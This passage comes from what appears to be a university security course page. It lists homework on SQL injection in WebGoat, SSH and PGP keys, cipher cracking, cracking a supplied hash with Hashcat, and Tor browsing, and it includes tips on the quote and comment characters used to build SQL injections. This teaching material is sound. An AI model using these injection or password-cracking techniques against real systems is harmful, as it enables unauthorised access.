&lt;li>If this is your first full upgrade, reboot (it's only needed for kernel upgrades)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>SQLZoo
&lt;ul>
&lt;li>If you've got a lot of experience with databases already and SQLZoo is too easy, you can instead install a relational database (Postgre, Mariadb...) and show CRUD (create, read, update, delete) operations using command line client and SQL.&lt;/li>
&lt;li>Yes, I think they really run your queries on database management system&lt;/li>
&lt;li>In SQL, you can often write long numbers in engineering notation, nine zeroes after two as 2e9 instead of 2000000000&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Johnny tables
&lt;ul>
&lt;li>You only need your browser (even though the official example solution uses a paid tool by the makers of the lab)&lt;/li>
&lt;li>Try different places. But if you're completely out of options: peek the solution, apply it to use just browser (no mitm proxy needed), mention in your report the hints used - and try to explain &lt;em>how&lt;/em> the solution works.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>WebGoat
&lt;ul>
&lt;li>What kind of quotes did SQL have?&lt;/li>
&lt;li>If you raise everyone's salaries, are you the richest anymore?&lt;/li>
&lt;li>The names here are the same as in OWASP 10 2021 and OWASP 10 2017.&lt;/li>
&lt;li>In injections, it's nice to know:
&lt;ul>
&lt;li>SQL string delimiter (single quote, aphostrophe) &amp;quot;'&amp;quot; (end of user input, start of my hostile injection)&lt;/li>
&lt;li>SQL comment (double dash) &amp;quot;--&amp;quot; (end of my evil injection, you can ignore the rest, dear database management system)&lt;/li>
&lt;li>There are many ways to do SQL injection&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>b) Injected. Solve WebGoat:
&lt;ul>
&lt;li>A1 Injection (intro)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>Update 2025-09-11 w37 Thu: Fixed a typo in &amp;quot;SELECT FROM world&amp;quot;.&lt;/p>
&lt;h3 id="h5-uryyb-greb">h5 Uryyb, Greb!&lt;/h3>
&lt;p>&lt;em>Public keys. You use them every day. Would you like to know more?&lt;/em>&lt;/p>
&lt;p>&lt;em>Also starring: my favourite crypto textbook. PGP and SSH, my favourite encryption tools / standards.&lt;/em>&lt;/p>
&lt;ul>
&lt;li>x) Read and summarize (This subtask x does not require tests with a computer. Some bullets per article is enough for your summary, feel free to write more if you like)
&lt;ul>
&lt;li>€ Schneier 2015: Applied Cryptography: &lt;a href="https://learning.oreilly.com/library/view/applied-cryptography-protocols/9781119096726/08_chap01.html#chap01-sec006">Chapter 1: Foundations&lt;/a>&lt;/li>
&lt;li>Karvinen 2023: &lt;a href="https://terokarvinen.com/2023/pgp-encrypt-sign-verify/">PGP - Send Encrypted and Signed Message - gpg&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>a) Install OpenSSH server, connect to it using 'ssh' client.&lt;/li>
&lt;li>b) Automate SSH connection using public keys.&lt;/li>
&lt;li>c) Password manager, open and cloudless. Choose a password manager that 1) works without cloud 2) is free, open source sofware. Install it. Demonstrate its use. Explain why a password manager is needed i.e. what kind of attacks or threats it protects against.&lt;/li>
&lt;li>d) &lt;em>Alternative: Do either d) &amp;quot;Pretty Good indeed&amp;quot; or s) &amp;quot;ETAOIN&amp;quot;&lt;/em>. Pretty Good indeed. Encrypt and decrypt a message with 'gnupg', using PGP public key cryptography. (Note that here you learn each step; for end users, you can often automate and make it look simple)&lt;/li>
&lt;li>e) Presentation material. Return your presentation material (e.g. slides) as h9. They can be a PDF or a web page. (This task does not require tests with a computer. If you have already returned h9, you don't need to do it again. Only PDF and web page formats accepted, no docx, no pptx, no odt.)&lt;/li>
&lt;li>m) Voluntary bonus: Encrypt and decrypt messages using a tool other than 'gnupg'. Explain each step. Why did you choose the tool you used here? Evaluate the tool.&lt;/li>
&lt;li>n) Voluntary bonus: send and receive encrypted message over email.&lt;/li>
&lt;li>o) Voluntary bonus: Find out frequency distribution of letters for a language that you know (other than English). What are the six most common letters? (This subtask y does not require tests with a computer if the question can be answered without them)&lt;/li>
&lt;li>r) Voluntary bonus: TLS. Choose a transport layer security (TLS) certificate used for the web. Explain key fields. How do you / browser know it's legit? Who says so?&lt;/li>
&lt;li>s) &lt;em>Alternative: Do either d) &amp;quot;Pretty Good indeed&amp;quot; or s) &amp;quot;ETAOIN&amp;quot;&lt;/em>: ETAOIN. Crack this ciphertext:
&lt;ul>
&lt;li>HDMH'B TH. KWU'YI AWR WSSTOTMJJK M OWQINYIMLIY! MB KWU BII, BTGPJI BUNBHTHUHTWA OTPDIYB OMA NI NYWLIA RTHD SYIEUIAOK MAMJKBTB. BII KWU MH DHHP://HIYWLMYCTAIA.OWG&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>t) Voluntary bonus, easy: try rot13, the military grade top-secret encryption of the top-2 empire of year zero. Could double rot13 provide extra security? Why?&lt;/li>
&lt;li>u) Voluntary difficult multiweek bonus, requries coding skills: Cryptopals (recommended, if you have what it takes).&lt;/li>
&lt;/ul>
&lt;p>Tips:&lt;/p>
&lt;ul>
&lt;li>Gnupg is explained in the article.&lt;/li>
&lt;li>I do hope you're using a password manager. If not, this is a good day to start.&lt;/li>
&lt;li>Frequency distributions for most languages can be found in search engines and probably Wikipedia&lt;/li>
&lt;li>ETAOIN
&lt;ul>
&lt;li>This challenge can be solved with pen and paper, no coder skills required. (Like most things, it's faster with a computer, though.)&lt;/li>
&lt;li>Just like this course, the cleartext is in English&lt;/li>
&lt;li>Looking at word lengths and spaces, this ciphertext is likely using a simple substitution cipher.&lt;/li>
&lt;li>Use your eyes - can you identify possible common words or parts of them?&lt;/li>
&lt;li>After ruling out Caesar (e.g. rot13), we can use &lt;a href="https://en.wikipedia.org/wiki/Frequency_analysis">frequency analysis&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Letter_frequency">Most common letter in English is E&lt;/a>, the second most common is T... The frequency table is ETAOIN shrdlu.
&lt;ul>
&lt;li>Frequency is about statistics and probability. It's not guaranteed that E is the most common, it's just likely. Especially short texts make statistical analysis less efficient.&lt;/li>
&lt;li>It's much more likely that most common letters are from ETAOIN than the from the least frequent j, x or z.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Use your sisu
&lt;ul>
&lt;li>If first guess does not crack it, try another one.&lt;/li>
&lt;li>Make notes as you work.&lt;/li>
&lt;li>Document your approaches and how far you can get, even if you couldn't crack the whole thing.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://www.oreilly.com/library/view/temporary-access/">O'Reilly Learning € (former Safari)&lt;/a> is a bit pricey, but Haaga-Helia students get free access trough &lt;a href="https://libguides.haaga-helia.fi/az.php">Haaga-Helia library A-Z page&lt;/a>.&lt;/li>
&lt;li>SSH is the leading tool to control servers
&lt;ul>
&lt;li>'sudo apt-get update' 'sudo apt-get install ssh', 'sudo systemctl start ssh', 'whoami', 'ssh tero@localhost', 'exit'&lt;/li>
&lt;li>Public key authentication 'ssh-keygen', 'ssh-copy-id tero@localhost'&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>Deadline for this task is after winter holiday, 2025-02-24 w09 Mon 11:00. But as they say, early bird gets the worm.&lt;/p>
&lt;a name="h6-september2024">
&lt;h3 id="h6-february2026">h6 February2026!&lt;/h3>
&lt;ul>
&lt;li>x) Read or watch and summarize (This subtask x does not require tests with a computer. Some bullets per article is enough for your summary, feel free to write more if you like)
&lt;ul>
&lt;li>€ Schneier 2015: Applied Cryptography: &lt;a href="https://learning.oreilly.com/library/view/applied-cryptography-protocols/9781119096726/10_chap02.html#chap02-sec003">2.3 One-Way Functions&lt;/a> and 2.4 One-Way Hash Functions.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>a) Install Hashcat. Test it with a sample hash. See Karvinen 2022: &lt;a href="https://terokarvinen.com/2022/cracking-passwords-with-hashcat/">Cracking Passwords with Hashcat&lt;/a>&lt;/li>
&lt;li>b) Crack this hash: d595b2086532422bbe654bc07ea030df
&lt;/li>
&lt;li>m) Voluntary: Compile John the Ripper, Jumbo version. Karvinen 2023: &lt;a href="https://terokarvinen.com/2023/crack-file-password-with-john/">Crack File Password With John&lt;/a>.&lt;/li>
&lt;li>n) Voluntary: Crack a zip file password&lt;/li>
&lt;li>o) Voluntary: create a password protected file other than ZIP. Crack the password. How many formats can you handle?&lt;/li>
&lt;li>p) Voluntary: Watch and summarize: Forbes 2019: Jackpotting ATM's (Automated Teller Machines) - Its easier than you might think. Presented in Disobey 2019.&lt;/li>
&lt;/ul>
&lt;p>Tips:&lt;/p>
&lt;ul>
&lt;li>O'Reilly Learning € (former Safari) is a bit pricey, but Haaga-Helia students get free access trough &lt;a href="https://libguides.haaga-helia.fi/az.php">Haaga-Helia library A-Z page&lt;/a>.&lt;/li>
&lt;/ul>
&lt;h3 id="h7-going-dark">h7 Going Dark&lt;/h3>
&lt;p>&lt;em>In Finland, it's legal to use TOR at the time of writing. If you're remotely taking this course online from another juristiction, laws might be different. Obviously, it's illegal to do illegal things in TOR, just like it's illegal to do illegal things anywhere. Only do legal things.&lt;/em>&lt;/p>
&lt;p>x) Read and summarize (briefly, e.g. with some bullets)&lt;/p>
&lt;ul>
&lt;li>Quintin 2014: &lt;a href="https://www.eff.org/deeplinks/2014/07/7-things-you-should-know-about-tor">7 Things You Should Know About Tor&lt;/a>&lt;/li>
&lt;li>Shavers &amp;amp; Bair 2016: &lt;a href="https://learning.oreilly.com/library/view/hiding-behind-the/9780128033524/XHTML/B9780128033401000021/B9780128033401000021.xhtml#s0010">Hiding Behind the Keyboard: The Tor Browser €&lt;/a>; subchapters: &amp;quot;Introduction&amp;quot;, &amp;quot;History and Intended Use of The Onion Router&amp;quot;, &amp;quot;How The Onion Router Works&amp;quot;, &amp;quot;Tracking Criminals Using TOR&amp;quot;.&lt;/li>
&lt;/ul>
&lt;p>a) Install TOR browser and access TOR network (.onion addresses).&lt;/p>
&lt;p>b) Browse TOR network, find, take screenshots and comment&lt;/p>
&lt;ul>
&lt;li>search engine for onion sites&lt;/li>
&lt;li>marketplace&lt;/li>
&lt;li>forum&lt;/li>
&lt;li>a site for a well known organization that has a physical street address in the real world&lt;/li>
&lt;/ul>
&lt;p>c) Voluntary: Browse I2P network. Install necessary software.&lt;/p>
&lt;p>d) Voluntary or alternative task: No onion. You can do this task in place of a and b. Install a darknet browser other than TOR, such as I2P or Freenet. Search, screenshot and describe examples of contents there.&lt;/p>
&lt;p>e) Voluntary: Crypto hunter. Find Bitcoin address from a darknet site. Use the public ledger to find out if money has been transferred to that address.&lt;/p>
&lt;p>Tips&lt;/p>
&lt;ul>
&lt;li>Alternatives for installing TOR
&lt;ul>
&lt;li>&lt;a href="https://www.torproject.org/download/">https://www.torproject.org/download/&lt;/a> (probably easiest)&lt;/li>
&lt;li>sudo apt-get update; sudo apt-get install torbrowser-launcher&lt;/li>
&lt;li>&lt;a href="https://tails.net/">https://tails.net/&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.whonix.org/">https://www.whonix.org/&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>OPSEC is hard, any single tool will not magically make you untraceable&lt;/li>
&lt;li>Be cautious: don't trust anonymous sites, don't enter your name or other personal details anywhere.&lt;/li>
&lt;li>O'Reilly Learning € (former Safari) is a bit pricey, but Haaga-Helia students get free access trough &lt;a href="https://libguides.haaga-helia.fi/az.php">Haaga-Helia library A-Z page&lt;/a>.&lt;/li>
&lt;li>Bitcoin explorer&lt;/li>
&lt;li>Other darknets include
&lt;ul>
&lt;li>GNUnet&lt;/li>
&lt;li>Hypanet&lt;/li>
&lt;li>I2P&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>&lt;em>This mostly applies to online courses: If you are currently in a juristiction where using TOR is illegal (e.g. taking the course remotely from a repressive country), you obviously can't install it and do the related tasks if it's illegal where you are. For those cases, alternative task is: based on literature only (no hands on tests, no installation), compare anonymous/pseudonymous networks, such as TOR, I2P, Freenet and others. How do their goals, technology and other features differ? How are they similar?&lt;/em>&lt;/p>
&lt;p>&lt;em>The deadline for voluntary h8 is the same as h7.&lt;/em>&lt;/p>
&lt;h3 id="h8-bonus">h8 bonus&lt;/h3>
&lt;ul>
&lt;li>a) Voluntary: Improved. List and link the tasks you have significantly improved after they have been cross evaluated.&lt;/li>
&lt;li>b) Voluntary: Extras: List and link voluntary extra tasks you have completed.&lt;/li>
&lt;/ul>
&lt;p>&lt;em>The deadline for voluntary h8 is the same as h7.&lt;/em>&lt;/p>
&lt;h2 id="adminstrivia">Adminstrivia&lt;/h2>
&lt;p>&lt;em>I will keep updating this page during and after the course.&lt;/em>&lt;/p></description></item></channel></rss>